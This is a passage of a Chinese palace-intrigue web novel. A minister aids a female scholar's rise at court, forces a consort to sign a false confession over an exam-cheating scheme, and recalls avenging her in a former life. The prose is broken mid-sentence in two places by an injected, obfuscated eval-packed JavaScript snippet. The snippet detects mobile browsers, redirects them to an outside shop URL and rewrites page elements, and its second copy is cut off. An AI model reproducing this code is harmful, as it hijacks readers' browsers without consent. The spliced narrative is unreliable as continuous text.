“嗯。”他很少笑,脸上的表情也总是淡淡的,“但行与不行,还要看太后的意思。” 郁仪知道太后近臣的位置不知被多少双眼睛盯着,纵然张濯有心要帮她,也不是手到擒来的事。可她仍感念张濯的恩情,对他作揖:“张大人,多谢你。” 张濯一心想留她去户部,郁仪以为自己婉拒之后,怕是会得罪这位户部尚书。可没料到的是,他能在这件事上甘愿助她一臂之力。这是份大恩情,尤其是对现在一无所有的她来说。 可郁仪又无法不去设想张濯的动机。 他到底想从她身上得到什么?是迫使她站队,还是单纯希望能和她相交一场? 求权柄,还是慕声色? 张濯说了声不必,而后便静静靠在引枕上闭目养神。 矮桌上放这些时令鲜果和两三样点心,张濯没碰,只在上车后便随手推到了她面前。 郁仪莫名觉得这样的画面有几分眼熟,像是早已经做过无数遍。 马车行过小半个时辰,成椿停下车说了声:“主子,到了。” 张濯睁开眼,马车里昏晦暗淡,唯他眼底波光点点:“约么这几日就有消息了,你且再等等。我说擢你去户部的事也一直都作数,你若想去,只消告诉我一声便是了。” 说及此处,张濯淡淡一哂。 前一世,苏郁仪临去灵州时他也同她说过同样的话,若此去关山万里,她有过片刻的后悔,他愿亲自去灵州接她回京。 只是自她走后,千万山水阻隔,她竟连一封信都不曾传回来。 成椿将车帘掀开,张濯道:“你且先回去,若有事可以来我府上递牌子。” 原以为到了东华门外,郁仪道了声是,目光落在马车外倒是一惊:“这是何处?” 不是东华门,这里是梧桐街的尽头,再往西走便是要出城了。 平日里多少文人迁客住在这梧桐街上,为的便是有朝一日当真能成为飞上梧桐的凤凰鸟,就连秦酌曹岑他们大都早在梧桐街上赁下一间瓦舍。 面前是一处一进小院,恰在此光华普照的时辰,蓊蓊郁郁、苍翠欲滴。墙外种的是梧桐,墙内种的是乌樟。春风吹过檐下一对纸灯,竹篾编成的灯骨清晰可见。 只是荒艾丛生,看样子早已久无人居。 张濯微微怔忪了一下。 这里曾是苏郁仪前一世的宅邸。 他们相交宦游十数载,他闭着眼都知道如何从紫禁城走到这里来。 只是他竟忘了,此刻这里还不是苏郁仪的住处。 她眼中有疑惑,也有陌生。 心中有涩痛之意一闪而过,张濯低声对成椿说:“去东华门。” 这一路张濯都没有再说话。 郁仪不知道他想到了什么,也猜不出他为何会带她到此处去。 只是她不爱多话、不爱生事,所以即便是心中有疑问,也不会在此刻开口过问。 只是今日的张濯神情倦怠,脸色也有些苍白,郁仪将手边的果子向他的方向推了推:“张大人吃点东西吧。” 张濯垂着的眼睫轻眨了一下,他抬起眼看向郁仪。 他的目光很安静,又总是带着她看不懂的孤独。 “多谢你。”他道。张濯的目光落在盘中的瓜果上:“我还不饿,你先吃吧。” 这位威名在外的尚书大人也并没有预想中的那么不近人情,他说话的时候鲜有高声,人像是一抔落雪,清白又岑寂地落在这天地之间。 郁仪拿了两颗樱桃,红澄澄的像是两颗小灯笼。 咬在唇齿间,汁水丰盈,酸涩中又带着回甘。 待到下车时,张濯命人将剩下的樱桃全给了她,成椿笑说:“不是什么贵价的东西,不过是时令到了吃个新鲜,主子脾胃不好,这些酸味重的果子本吃得就不多,难得苏进士喜欢,也总好过浪费了不是?” 苏郁仪只好收下,又忍不住道:“我今日看张大人神色不甚好,像是病了的样子,可叫医官来瞧过?” “昨日瞧过了。”成椿道,“时气反复,不是什么大问题。只是主子平日里忧思太重,这是心病。” 忧思。 郁仪虽不知他心中的忧思在何处,听成椿说完也在心里叹息了一声:“好吧。” “苏进士慢走。”成椿送她一路走到东华门边,又小声说,“若苏进士得了空,也求您替奴才再劝一劝大人,这般夙兴夜寐地熬下去,奴才心里也真是怕……” “好。”郁仪轻轻点头,“我记得了。” 她端着樱桃从东华门的掖门处进去了,守在门口的内东门司验过腰牌后才放行。 成椿走到马车旁掀开车帘:“主子,苏进士回去了。” 隔着一层朦胧的灯影,张濯正静静地把玩着一根竹签,穿梭在他清瘦嶙峋的指缝之中,正是承恩寺中求来的那一根空签。 听成椿说完,他笑了一下:“今日我想到了一个成语,叫刻舟求剑。” 成椿不懂,他也没指望他能听懂。 故地重游就像是一场刻舟求剑。 明知那人不在此地,却依然会被熟悉的寸寸草木刺痛。 剑痕没有刻在船上,倒像是刻在了张濯的心上,早已经不滴血了,却痛可见骨。 “主子原本不是不想让江驸马举荐苏进士的吗,怎么如今变了主意?” 张濯摊开手掌,将掌中的空签暴露在灯火之下,没有回答成椿这个问题。 他曾以为自己有能力护她这一世,不想让她死在倾轧的时局里。 可他也没料到自己的生命会如幽微之火,飘飘渺渺、不日将散。若人生还余下五年,他能为苏郁仪做点什么? 是折去她的羽翼,让她寂灭在红墙金瓦间。 还是扶她一程,为她青云路上再垫一阶? * 张濯送给郁仪的樱桃有整整一匣,她带回直房后分给了隔壁午睡刚醒的秦酌一些。 曹岑他们还没回来,郁仪正好也不舍得把樱桃分给他们,余下的都被她收进了自己的房里。 今日虽然休沐,只是《会典》的差事千头万绪,她索性无事,便又回了庶常馆,在自己的位置前坐了下来,想着今日再多写些,省得明晚又要熬大夜。 才写了小半个时辰,孟司记便从外面走来了,见庶常馆里今日冷清,还有心与陈翰林玩笑了两句:“今日陈翰林倒是能躲清闲了。” 陈翰林连连摆手:“内贵人见笑了,今日是他们这批新人休沐的日子,下官都让他们出去逛逛,所以看着馆里没什么人。” 孟司记哦了声,玉指纤纤点了点郁仪:“那苏进士怎么还被你拘在这?” 郁仪忙起身解释:“不过是无事可做,想着《会典》三十七卷还差了几页便收尾,索性过来了结了它,我午前已经休息过了,才来不过小半个时辰。” “这样。”孟司记点头,“你随我去一趟慈宁宫吧,太后娘娘有话问你。” 陈翰林听罢,不由得紧张:“前日不是才传召过,可是出了什么事,惹了太后娘娘的不快?” 孟司记掩唇:“哪有的事,苏进士去了便知道了。” 于是郁仪便将自己的笔放在笔架上架好,跟着孟司记出了门。 * 想留在太后身边的人很多,苏郁仪是这里头唯一的女郎。大臣们各怀心思地要将人送到太后身边去,自然也是各显神通。这些人里,除了那些博古通今的,还有不少天赋异 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郁仪在她面前跪下,太后问她:“日后,你可有什么打算么?” 这是郁仪第一次如此近距离地同太后说话,这位尊贵的女人身上带着馥郁的花香,甜美又厚重,这个味道几乎闻过一次便再也不会忘。 “下官正在学博学宏词科考试的题目,想着待到年底时试一试能不能去六部里谋个职务。” “六部啊。”太后笑,“那可都是男人的天下。” 郁仪仰着脸看她,不卑不亢:“昔年间,整个天下都是男人的天下。” 太后轻轻挑了挑眉,端起茶盏啜饮一口。 “你是知道哀家为什么会几次三番叫你到慈宁宫来。”太后没有和她藏着掖着,“哀家的的确确是要选一位侍读学士到身边来,近日大臣们也都向哀家保举了不少官员,苏进士,你能不能给哀家一个,让哀家选你的理由?” 太后的话让郁仪的呼吸微微一紧。 她心里明白,这说明太后心里也有几分选她的打算,这是成算占多少她猜不出。 郁仪屏气凝神,俯身叩首,再起身时已经将要说的好打好了腹稿:“下官已决意自梳,终身不嫁。” 这话别说是太后,就连站在地罩处的孟司记都微微吃了一惊。 郁仪平心静气道:“自下官入宫之日起,下官便已经下定了这个决心。得蒙娘娘抬爱,下官能侍奉朝廷,断不会再屈居府宅之间为人屈从左右。” 空气安静了片刻,太后抬手让她起身。 “苏郁仪,哀家不喜欢存天理、灭人欲。”太后靠着迎枕,指腹细细摩挲着上面的刺绣,“哀家也不想看到任何人因为哀家的缘故,零丁孤苦。” 她抬起眼看着苏郁仪的五官:“你是一步一步从松江那个小地方考上来的女进士,哀家从不怀疑你的本领和决心,但唯有一件事,哀家要你保证。” “你要忠于哀家、忠于皇帝、忠于大齐。如有违逆,纵然你有铜筋铁骨,哀家必会让你付出惨痛百倍的代价。”她收起眼底的柔和,袒露出不加掩饰的机锋与威严,“记住了吗?” 郁仪垂首答:“是,娘娘。” 太后也勾了勾唇:“你回去吧,有事哀家会再叫你。” 走出慈宁宫后,仍是孟司记来送她,这一回孟司记脸上的笑容更多了些:“恭喜你了。” 到了这一步,郁仪也知道这件事快要尘埃落定了,心中也松了口气。 “多谢内贵人。” 孟司记扶起她长揖的手臂:“你可以同他们一道叫我孟司记,也可直呼我名。” 孟司记名叫孟青月。 “好。”郁仪点头。 “只是,”孟司记又正色起来,“事以密成的道理你也是懂的,什么话该说什么话不该说心里要有数。” 郁仪谨慎:“多谢孟司记指教,下官省得。” “张大人对你有恩,得空了记得给他磕个头。” 残阳如血。 郁仪不由得再次想到了张濯。 想到他掌上的那一支空签,想到他薄雾笼罩着的忧郁眼眸。 11.朝玉阶(五) 离庶常馆老远时便听到里头人声鼎沸,看样子那群一起去承恩寺的庶吉士们已经回来了。 苏郁仪才进门,曹岑便已经迎上来:“你这是去哪了?” 顿了一下,又补充:“适才我偶遇旧友攀谈了几句,随后遇到锦衣卫拿人,承恩寺里乱作一团,我又一时没找到你才先走了,不是有意要把你撇下的。” 郁仪懂了曹岑的话外之音,将他的话转述过来便是:刚才我把你一个人忘在了承恩寺是有不得已的理由,你不要怪我。 显然他不知道自己已经随张濯先一步回来了。 “无妨。”郁仪平静道,“不是什么大事。” “那你……是怎么回来的?” 曹岑的话音才落,便有人在一旁揶揄:“原来伯远兄也是怜香惜玉的人。” 打趣的人是刘黔龄,他是甘州人,也算是有几分家世,平日里也和曹岑走得更近些。但内心深处,仍和他有暗中较劲的意思。 苏郁仪转身看他:“若今日在承恩寺中走失的人是刘公子,下官也会对刘公子怜香惜玉。” 这话刘黔龄听着有些刺耳:“你知不知怜香惜玉这四个字是形容女人的?” “形容女人的词又如何?”郁仪凝睇他,“形容一个男人像女人,这是在骂人吗?” 秦酌见他们之间有些剑拔弩张,赶紧上来打圆场:“今天陈翰林拿来了两盒新茶叶,说是开春后的新茶,我去倒一杯你们尝尝看。” 苏郁仪本不是个好与人争口舌的人,所以息事宁人,回到自己桌前整理东西去了。 倒是刘黔龄自觉被落了面子,背后阴阳道:“不知是哪个破落户家的大小姐,生得比天还要高的心思,不修妇德女训,只会给家族蒙羞。” 曹岑眉心皱起,制止他:“刘兄,适可而止吧。” 这个苏郁仪看着不疾言厉色,却断不是个软柿子,更何况前几日得了太后的召见,更是不能小觑。曹岑虽然心气高,却也知道不能轻易与人结仇的理。 “苏进士,刘公子今日晒了太久,火气有些重,我替他给你赔不是。”曹岑这话已经给了郁仪面子,郁仪摆手:“只盼诸位同僚不要整日里想着我是个女人,同在一个屋檐下做事,还能因为我是女人便分高低贵贱吗?” 刘黔龄尚有些悻悻的,秦酌已将郁仪拉到一边:“方才陈翰林小声同我说,你是被孟司记叫走的?” 郁仪嗯了一声,秦酌眼中已有喜色:“可是太后那边……” 郁仪食指压在唇上,做了个噤声的手势:“没有明说,我也不大清楚。” “咱们这群人里,你已经算是拔得头筹了。”秦酌像是自己被选中了一样高兴,“他们这群人四处媚上邀宠又有何用,到底是江驸马在公主面前得脸,夷陵长公主又得太后的欢心。” 庶常馆的所有人都以为郁仪是向江驸马投卷的,她也没有着意去解释,想着将错就错也没什么不好。 不怪刘黔龄他们看不起她,以郁仪现在的身份,哪怕到了太后身边,也不见得是平步青云,伴君如伴虎不是说说而已。 听说太后才罚抄了汪家,听说和承恩寺那起子人有关,似乎陛下的伴读都被抓紧了诏狱里,不日便要刑审了。”秦酌啧了一声,“杀人不过点头地,坐在紫禁城里才明白人命有多贱。不过陛下一直在为汪家求情,估计他死不了。” 秦酌想了想又说:“听说是张尚书亲自抓的,你可瞧见了?” 郁仪摇头:“未曾。” 秦酌拿眼瞟了几下曹岑那一群人。 “这几日他们的心思都活络了,不去太后身边也无妨,总该给自己找一棵大梧桐。”秦酌在自己的座位前坐下,拿笔在白瓷笔掭上蘸去多余的墨汁:“我已经想开了,待在庶常馆也没什么不好的。任他们去做天兵天将,我做我的蜉蝣蝼蚁,保住自己的性命要紧。” 苏郁仪笑笑没说话,手里的功夫不停,写字的时候四平八稳,像是什么都不放心上。 秦酌打量了她好一会儿,终于叹气:“我若是太后娘娘,我也愿意选你,就这庶常馆里千头万绪的功夫,没有你根本就不成。你瞧见陈翰林没,这几日你得太后召见,他就跟死了亲娘一样……” 郁仪咳了一声:“慎言。” 翌日一早,太后那边就传来了旨意,将苏郁仪点做侍读学士。 这是个九品的小官,一道送来的还有九品的绿色官服,上头绣着一只昂首的鹌鹑。 陈翰林送走孟司记,对着苏郁仪露出比哭还难看的笑容:“如今要改口叫苏侍读了,只盼着苏侍读步步高升,日后平步青云,别忘了咱们这庶常馆才好。” 苏郁仪知道他伤心在日后无人替他做事上,也笑笑:“承蒙翰林大人垂爱,日后有什么能帮上忙的,也是您一句话的事。” 秦酌也高兴,可余下的人脸上便异彩纷呈起来。 除了曹岑还有心送了郁仪一套笔墨文房之外,其余人都托病不来。 刘黔龄甚至劝曹岑:“那个位置,根本不是给她坐的,她偏一头撞上去,不会有好下场的。” 他越说越恼,妒忌得双眼快要喷火。 曹岑知道这群人心中不平,他心中何尝不是百般不情愿。 只是他擅长隐忍,更不愿断送和苏郁仪的交情,于是在她搬走那日,还去送了送她。 “其实你早该在梧桐街上给自己买间院子了,就算不买,赁一间也好。”秦酌见郁仪的行李不多,不由得劝了两句,“日后有人要拜谒你,总不能到慈宁宫去。” 郁仪道:“我也不是住在慈宁宫,不过是六局外另辟了间屋子给我,那地方离慈宁宫还要走上小半个时辰,你若想来见我也不麻烦。” 见她不为所动,曹岑不由道:“很多事,总得要避人耳目,譬如他日与人结交,总不好在众目睽睽之下……” 郁仪何尝不明白他们俩的意思,只是既已决定服侍太后,这种事还是能免则免的好。 她的东西少,两个包袱便裹完了,秦酌帮她一道送去。 太后赐给她的院子在北五所,又叫乾东五所。 从西至东分别称头所、二所、三所、四所和五所。位于内廷东路、千婴门以北,毗邻北横街。 每一所都是三进院,每一所以矮墙隔开,另在矮墙上设置独立的院门,平日里并不打通。 前院的黄琉璃瓦歇山顶门后是一扇木影壁,一间正房两间厢房,郁仪住在三所殿的左厢房里,另一间是孟司记在住,西南角里设置了井亭,攒尖顶的亭盖倒映着粼粼的日光。其余还有些配房,有的是给奴才住的,有的尚且空着。 秦酌将她送至千婴门就住了脚:“保重。” 相识近半年光景,这个直肠子的秦酌倒是个值得相交的人,郁仪笑着颔首:“得空了我去找你。” 秦酌叹气:“跟在主子身边不容易,我死不了的。” 郁仪早习惯了他语出惊人:“过几日我出宫,帮你带几块木头回来?琉璃厂的根雕铺子上了几座关公像,余下了些上好的小叶紫檀。” “这自然好了。”秦酌露出一丝喜色,“我提前谢过苏侍读了。” * 这几日夷陵长公主去西山行宫小住去了,江驸马难得有空,请了几位朋友来家中尝尝他才请的徽菜厨子。 前几日太后雷霆之怒不光诛杀了几个大臣,甚至把皇帝自幼的伴读都抓了起来,此人名叫汪又,曾和江驸马有几分交情,江驸马宴请宾客一来是小酌怡情,二来也是想找人拿个主意,看看这桩事会不会牵连到他身上。 只是不知是谁泄露了风声,就连张濯尚书这尊大佛也惊动了。 江驸马自然是小心应对,殊不知张濯此次只字不提政务,倒真是像来赴宴的。 余下几位臣僚倒是说起一番太后杖毙大臣的事。 “起先竟没看出半分端倪来,我们都成了糊涂鬼。只有太后下了旨意,我们才知这几日当真触在了太后的逆鳞上。谁能料到太后娘娘有这么快的手脚,当真是羚羊挂角、无迹可寻。” “这几个人也是糊涂,承恩寺里竟然还在做这不见光的勾当。御马监的提督太监还有驯象所的缇骑,哪个是好相与的,兴平末年先帝还没去时,他们已经闻风而去,一心只忠于太后,我只怕咱们今日说过的话,明日便能传到太后的耳朵里。” 张濯自顾吃饭,似乎对他们的对话并不关心。 待宴后众人纷纷告辞,江驸马请张濯到书房中稍坐。 “太后娘娘抓起来的这几个人里,有一人与我尚有些私交。”江驸马惴惴道,“还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728245|143572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请尚书大人指条明路,不知这刀会不会架在我江某的脖子上?” 汪又人还没死呢,这群人便想着如何将自己摘出去,不要被牵连才好。果然古往今来都是一个调性。 江驸马的书房颇有几分古拙野趣。桌上的宫灯用的不是羊角灯,而是一种竹草编成的蔑灯,珊瑚剔盒色香盒上用的是五色漆胎,红花绿叶、随妆露色,处处都彰显出匠心来。 古铜鏒金双鏒螭挽格做成的笔架有十二峰,上头架着各式狼毫。 旁边的砚台上,放着一小方尚未开封的松烟墨。 用掺了竹叶做成的草纸包裹得很是妥帖,看得出送礼之人的用心。 “汪家虽然获罪,只是汪又不是主谋,这件事纵然牵连他,约么也罪不致死,更何况还有陛下求情。” 张濯走至桌边,轻轻将这一方松烟墨拿起来端详,封条上印着苏郁仪的私印,一个篆书的“郁”字,不甚显眼,但张濯知道她的习惯,一眼就能认出来。 这方墨明显就是她送给江驸马的那一块。 “不过,”张濯转身看向江止渊,“昨日我听了一耳朵,汪又在狱中反复提出想要见江驸马一面,江驸马可知情由吗?” 听闻此言,江止渊心里微微瑟缩了一瞬。 的确有一件事,只有他和汪又两个人知道。 他心中惊魂甫定,嘴上却不肯承认:“没……没有。” 张濯慢条斯理道:“你曾和汪又一道,帮助过一位仕子舞弊,对不对?” 惊雷平地炸响,江驸马几乎是跌坐在椅子上:“是……是汪又说的?” 张濯淡淡道:“你觉得呢?” 除了汪又还能是谁呢?除了汪又还有谁知道这件事呢? 江驸马的手抖得厉害:“他供出我了?” “他只将此事告诉我了我,不算供认。”张濯背过身去,“对于汪又,太后的意思是看在皇帝的面子上留他个活口,五日后给他一个当庭自诉的机会。可若他为了活命,将此事供出来,又或是祸水东引,胡乱攀咬你,你只怕是百口莫辩。” 张濯从怀中掏出一张口供:“若你先一步将他定罪,让他连面见太后的机会都没有,这样死无对证,岂不是更好?” 到了此刻,江驸马才明白张濯为何会不请自来。 去年年末,汪又身为天子右司谏,有意谋得了恩科的题目,夹带出宫交由江驸马,让他提前写出一份策论来,转交给一名叫曹岑的仕子。 江驸马是翰林出身,也曾高中槐榜,对这些文章自然信手拈来。 没料到这名叫曹岑的仕子竟靠着这一篇文章高中魁首。 事成之后,他与汪又则一起分得一笔重金。这烫手的银子让他连着好几天都没睡好觉。 张濯的这份口供,显然是要将舞弊一事了结在汪又身上,又将曹岑的把柄握在了他自己手里。 又或者说,从张濯下旨抓捕承恩寺大伽蓝之时,就已经预谋好了今天? 可他为何能未卜先知般将这一切都尽在掌控,还是他张濯手眼通天,长了千里眼和顺风耳? 江驸马越想越心惊,一面恐惧于张濯的雷霆手段,一面又害怕汪又先一步供出自己。 如此两厢焦灼片刻后,他终于颤抖着手在这份口供上签字画押。 张濯将这张纸收入怀中,语气平静:“如此这件事就再也不会和江驸马有关了,江驸马尽可高枕无忧。” 他将松烟墨托在掌心,“这方墨看着倒是很不错,不知江驸马从哪寻来的?” 江驸马一时语塞。 他答应了张濯不为苏郁仪投卷,若此刻被他发觉自己还收了苏进士的礼物,只怕引得张濯不快。 只好硬着头皮答:“不是什么稀罕东西,琉璃厂那边的摊子上随手买的。张大人若喜欢,便赠与张大人。” 他原以为张濯不会收,没料到张濯欣然接受:“如此多谢江驸马割爱了。” 张濯清瘦的指尖轻轻摩挲过松烟墨上金色的郁字:“张濯很是喜欢。” 对于江止渊,张濯并没有什么恨意。 甚至他感激江止渊前一世曾替郁仪向皇帝求过情。 他不想害他,必要时也愿意给他留三分余地。 只是汪又和曹岑,都非死不可。 12.南楼令(一) 三所殿里的屋子倒是比从前在庶常馆时宽敞了不少,除了桌椅床榻之外,还给她准备了一口衣柜。太后给她两天功夫收拾屋子,郁仪从井亭里打了两桶水,将家具重新擦拭一番。日头刚过晌午,她将房门开着通风,好散一散屋子里的水汽。 孟青月从垂花门后过来,身后跟着几个小黄门,抬了一张樟木镜台桌来。 “我从库房里挑的,放你屋子里刚好。”孟青月说,“住在这儿的还有尚仪局的刘司赞和邓彤史,晚一点她们会来见你。”能住在这里的,都是侍奉太后比较多的女官,六尚官、二十四司的女官并不住在北三所这边。 郁仪按理说该在宫外设府,只是太后知道她还没在外面安宅,所以让她和孟司记住在一起。 “这……”郁仪看着小黄门们将镜台七手八脚地抬进房中。孟青月看得出她言外之意:“你有什么不懂不会的可以来问我,我那也有些脂粉可以拿来给你用,太后娘娘先前发了话要你打扮,就算你不会也得做做样子出来,知道吗?” 郁仪明白孟司记的用心,点头:“是,多谢孟司记提醒。” “你这也收拾得差不多了,随我再去见一见太后。”孟青月道,“你的官服除了这一身春天穿的,还有夏冬两季的衣裳,明日得空的时候记得去尚功局量量尺寸。” 郁仪回到房中将官服换好,孟司记带着她来到了慈宁宫外。 今日倒春寒,比以往还要冷些,云压得有些低,只有细碎的日光从云缝间露出来。 丹墀上站了不少大臣,在这太平年间,慈宁宫是比乾清宫热闹百倍千倍的地方。 看样子太后才赐了茶,也是怕这些老大人们受不住料峭的春寒。他们围在一起喝茶,小声交谈着,文臣大多和六科的人待在一起,几个武将站在外围不太说话。 郁仪看到了站在慈宁宫门口的年轻皇帝。 上回在太后这里听到过一次皇帝的声音,皇帝本人比郁仪猜测得更年轻些。 他穿着红牙海水鹤穗八团黑色披风,头戴明珠通天冠。身量还没有完全展开,带着一股少年人特有的单薄,单看背影也看得出峭拔的身姿。 孟司记对他行礼叫了一声陛下,郁仪跟在她身后一道行礼。 皇帝微微侧身,目光自她们两人身上飘过,说了声免礼。 “这位女尚书朕倒是没见过。”他对郁仪道。 女尚书是对女官的敬称,郁仪忙跪下说不敢,孟司记替她补充:“她是太后娘娘新定的侍读学士,名叫苏郁仪。” “原来是苏进士。”皇帝知道这个名字,只是神色淡淡的,显然不甚关心。 他的声音介于少年与青年之间,微微沙哑着。眉峰蹙起,带着不符合年龄的老成。 “你在这里等着,我进去伺候了。”孟司记说完这话,便进了慈宁宫。 太后显然是知道皇帝在门口,只是迟迟不肯见他,片刻后有常侍替他搬了一把椅子让他坐着等,却被皇帝回绝了:“不必,朕不累。” 众人就这么在丹墀上站了小半个时辰,才有几个大臣从慈宁宫走出来,一面走一面拿袖子擦额上的冷汗,显然是得了太后的训斥。 就在郁仪以为太后会召见皇帝的时候,太后又叫了几位六科给事中进去。一进一出又是半个时辰,皇帝便一直直挺挺地站在烈日下头,他垂着眼睛不知心里在想着什么。 几个大臣原本神色焦灼,可见到皇帝都耐着性子等,也都不敢再多说什么。 郁仪的官位低,连给大人们倒茶的小黄门都没把她放在眼里。 她也和别的老大人们一道找了个背阴的地方站着,省得还没见太后就被晒晕过去。 到最后,只有苏郁仪和皇帝两个人在丹墀上站着,余下的几位大人都陆陆续续被太后召见过了。 一直到日头偏西,孟司记才从慈宁宫里出来:“苏侍读,太后要见你。” 直到这时候,皇帝才终于抬起眼觑了郁仪一眼,郁仪心道不好,怎么还抢在皇帝前头了,可她又不敢多言,只好在小皇帝的注视之下走进了慈宁宫里。 慈宁宫里炭盆烧得很热,空气里也有些闷。 刘司赞将西暖阁的窗打开透透气,也不妨碍主子们在东暖阁里说话。 西间里挂了一幅宋人的《观鹿图》,颇有几分文人高士的娴雅情调。 另一幅步辇图挂在对窗的墙上,暖阁里摆着桌案,太后握着笔写朱批,听见郁仪行礼抬手让她起来:“你来了,刚好给你的恩师磕个头。” 郁仪这才看见,张濯正坐在桌案的另一侧,显然适才是他陪同太后一起在见大臣。 他穿着朱红的官服,头戴展角幞头,在太后面前亦不能像在家中时挽起袖口。可偏偏他看上去平淡又舒展,不像是对太后有畏惧的样子,他虽没有握着朱笔,手边却也放了一摞奏折,看得出太后对他的信任也更多些。 郁仪还没来得及作答,张濯先开口了:“臣一个人独来独往得惯了,不喜欢司礼监徒子徒孙那套。这些年一直没有走这个过场,娘娘还是高抬贵手放臣一马吧。” 文臣大多不和太监们混在一起,太后对这些人私下里的不对付很清楚,张濯愿意说在明处她心里也不觉得不痛快,于是招手叫郁仪过去:“你坐这,张大人那边有些东西要你抄录一份,你看用不用我再叫几个人来帮你?” 郁仪上前来,接过张濯递过来的几本卷宗,她下意识与张濯对视,只见他眸光如海,像是要将人吸进去,不由得下意识错开目光。 这本卷宗是记录江都兴平末年漕运总督送上来的钱粮账目,数字很多,有几处被朱批圈起来的。她扫了一圈道:“下官可以抄完。” “那好。”太后点头,“有什么看不清楚的,你可以去问问张大人,这本册子原本就是他写的。” 郁仪一愣。 手中黄卷看上去已经有些年头了,纸页发脆,纸张泛黄。就连上面刀锋刻骨般的字也黯淡了些许颜色,她没料到这笔字竟出自张濯之手。不由得看向张濯。 太后正好与他说笑:“这本册子是你十几年前写的,那时你还在玉堂署吧?” 张濯颔首:“那年才被先帝选作修纂,写得大都是这样的文章。” 见太后心情好些了,张濯终于提起了皇帝:“陛下还在外头等着,娘娘要不要让陛下进来。” 隔着回纹万字窗,薄纱般的窗纸透出皇帝瘦长的身影,他仍如日晷般钉在慈宁宫的须弥座上。 太后脸上的笑意浅了些:“皇帝太年轻,总是在这些小事上犯傻。” 郁仪听不懂,便在一旁只顾写字,屏气凝神。 “那几个人都是意图动摇他江山的人,百死尚不足惜,他还在替他们求情。”太后漫不经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就连皇帝都不知道,对张濯而言,他余生要做的唯一一件事,就是替苏郁仪报仇。 他要站在人臣所能达到的最高处,让伤害过她的人战栗,让这天下都为她陪葬。 包括皇帝他自己。 太平二十年的冬天,张濯联络宁王发动己辰政变,将皇帝囚禁于宗人府,迫使他重查苏郁仪一案,为她正名,重塑金身。 他亲写挽联:所不朽者,垂万世名。孰谓公死,凛凛犹生。 …… 张濯也说不清自己这一辈子杀了多少人,又有多少人是间接因为他而死。 纵然他重新回到了太平三年,许多事尚且没有发生,张濯却深知那些血腥的、令人作呕的过去,早已成为他不可分割的一部分。他早已不是那个高卧林下,满怀冰雪的张显清了。 世人如今对他的赞誉和称颂,何尝不是另一种凌迟之刑。 但是,当他望向苏郁仪的眼睛时,那双眼睛像小鹿一般干净又赤诚,看不见半分尘埃与瑕疵。 张濯觉得,这一切都是值得的。 此刻金阳璀璨,春和景明。 二十九岁的张濯在十五岁的小皇帝面前站定了身子,慈宁宫的丹墀上寂静得连鸟鸣声都听不见。 又是一场跨越时光的故人相逢。 张濯唇畔噙着一抹愈发谦和恭顺的笑,徐徐对着皇帝长揖。 苍云秋水,青林高木。 “陛下,太后娘娘请您进去。” 13.南楼令(二) 皇帝嗯了一声,客气道:“有劳张尚书了。” 二人四目相对,张濯眸光如海。 走进慈宁宫的门,已有奴才将皇帝的披风解开挂到木施上去。 皇帝走到太后面前行礼:“母后。” 太后将手中的奏折翻过一页,写下两行朱批,才淡淡道:“你可知错了?” 她不是个严厉的人,语气虽然没有训斥之意,却已经算是句重话了。 皇帝直挺挺地跪下,既不为自己声辩,也不回答太后的话。 太后便任由他跪着,继续批折子。 殿里除了他们母子俩就只有郁仪,孟司记在地罩外对着她使眼色,郁仪懂了,于是便将手中的书卷拿起来递到太后能看到的地方:“兴平二十四年经由运河北上的货物总共有四百六十七船,等到了兴平二十五年,就变成了七百四十八船,比前一年多了一半。” 太后用余光扫过,随后道:“你觉得有问题?” “景帝时曾有商船以运送货物之名囤积军械,还是被人看出船身的吃水深度远超以往,才得以被发觉。除了军械,有时也可能是私盐或精铜精铁。” 太后听罢倒是露出赞许之色:“你的确是敏锐。时间过了这么久,哀家也不瞒你,那一年之所以商船增多,是因为哀家命人运了一批军械以备无虞。” 她的手指染着绚丽的蔻丹,轻轻点了点纸页:“但更重要的是,那一年从南面运了很多木料来,为的是给先帝……” 那一年先帝已然病重,这批木料为的是给先帝建造梓宫。 郁仪自然一下子就明白了太后的意思。 “虽然都开春了,天气总还是寒浸浸的。” 郁仪顺理成章地接话:“地上冷,娘娘还是让陛下先起来吧。” 太后看向皇帝:“瞻徇,若你父皇还在,哀家今日也不会为难你。” “森林中有百兽,若狮王羸弱幼小,必被分食而死、曝尸于野。这群人中的确有人罪不至死,可若哀家今日不杀他们,他日朝臣群起而攻,你又如何自保?” 听太后说完如此一席话,皇帝终于抬起头来,他用很轻很低的声音说:“可汪又是儿臣的右司谏,和儿臣一起长大,宛如手足兄弟一般。” 右司谏供职于右春坊,曾是东宫的属官,是从皇帝还是太子时便伺候左右的伴读。 太后执笔的手停在半空:“此一案,汪又的父亲是主谋之一,那些随承恩寺出入的打手都是出自他的家奴。” “可……”皇帝看向太后,“可他父亲做的事,又关他什么事呢?” 太后道:“斩草不除根,贻害无穷。你若对他实在不舍,可以由你出面赏他份哀荣,也能彰显皇帝身为人君,有宽仁待下的情谊。” 皇帝垂下眼,将眼底的一抹阴郁之色遮掩过去,只恭恭敬敬答了声是。 太后垂帘听政三年,如今已将权术得心应手地握在股掌中,在她心里,皇帝还只是那个十二三岁的孩子,而未曾发觉他已在她看不见的地方悄悄长大。 “坐吧。”太后指了指一旁张濯坐过的椅子,“今日她们准备的是雪兰茶,皇帝尝尝喜不喜欢。” 皇帝喝了一口:“的确是好茶。” 殿里的气氛融洽了些,孟司记来报说永定公主来了。 永定公主和皇帝一样,都是太后亲生的孩子,太后听她来了,眼里难得露出一丝欢欣:“叫她进来吧。” 永定公主喜欢穿鲜亮颜色的衣裙,自门外走来时像是一朵俏生生的花骨朵。 